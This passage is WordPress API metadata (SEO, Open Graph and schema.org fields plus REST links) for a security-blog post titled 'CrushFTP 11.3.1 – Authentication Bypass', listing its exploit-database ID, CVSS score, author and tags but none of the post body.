redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=4976","og_locale":"en_US","og_type":"article","og_title":"CrushFTP 11.3.1 - Authentication Bypass - zero redgem","og_description":"Exploit Details Basic Information Exploit Title CrushFTP 11.3.1 – Authentication Bypass Exploit ID EDB-ID:52295 Type exploitdb Published 2025-05-18T00:00:00 Modified 2025-05-18T00:00:00 CVSS Information CVSS Score 9.8...","og_url":"https:\/\/zero.redgem.net\/?p=4976","og_site_name":"zero redgem","article_published_time":"2025-05-18T11:34:04+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"15 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=4976#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=4976"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"CrushFTP 11.3.1 – Authentication Bypass","datePublished":"2025-05-18T11:34:04+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=4976"},"wordCount":2972,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","exploitdb","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=4976#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=4976","url":"https:\/\/zero.redgem.net\/?p=4976","name":"CrushFTP 11.3.1 - Authentication Bypass - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-18T11:34:04+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=4976#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=4976"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=4976#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"CrushFTP 11.3.1 – Authentication Bypass"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/4976","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4976"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/4976\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4976"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4976"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4976"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}